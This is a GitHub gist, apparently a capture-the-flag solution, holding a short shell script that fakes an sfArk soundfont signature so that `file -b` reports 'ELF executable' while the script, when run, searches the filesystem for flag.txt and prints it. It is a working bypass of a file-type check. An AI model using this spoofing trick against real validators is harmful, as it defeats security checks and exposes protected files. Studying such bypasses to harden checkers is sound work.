Skip to content

Instantly share code, notes, and snippets.

@krzys-h
Last active July 12, 2018 20:53
Show Gist options
  • Save krzys-h/a80cc2d08cf17e8dd0e09c947b49c3ca to your computer and use it in GitHub Desktop.
Save krzys-h/a80cc2d08cf17e8dd0e09c947b49c3ca to your computer and use it in GitHub Desktop.
"ELF executable" in `file -b $1` bypass
#kazet mnie zabije
# 2 sfArk ELF executable
unset LD_TRACE_LOADED_OBJECTS
cat $(find / -iname flag.txt)
# When you run 'file -b asdf' on this, it will print "asdf: sfArk compressed Soundfont Version kazet mnie zabije : ELF executable"
# When you run './asdf', it will execute code
# see https://github.com/markusnussbaum/binaryanalyzer/compare/ee35ecf5c89313df575ad6c6d0109aa0f9b7dc01...fa1eae1f7393c4fb5de57d9a46dadbb674da50cb
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment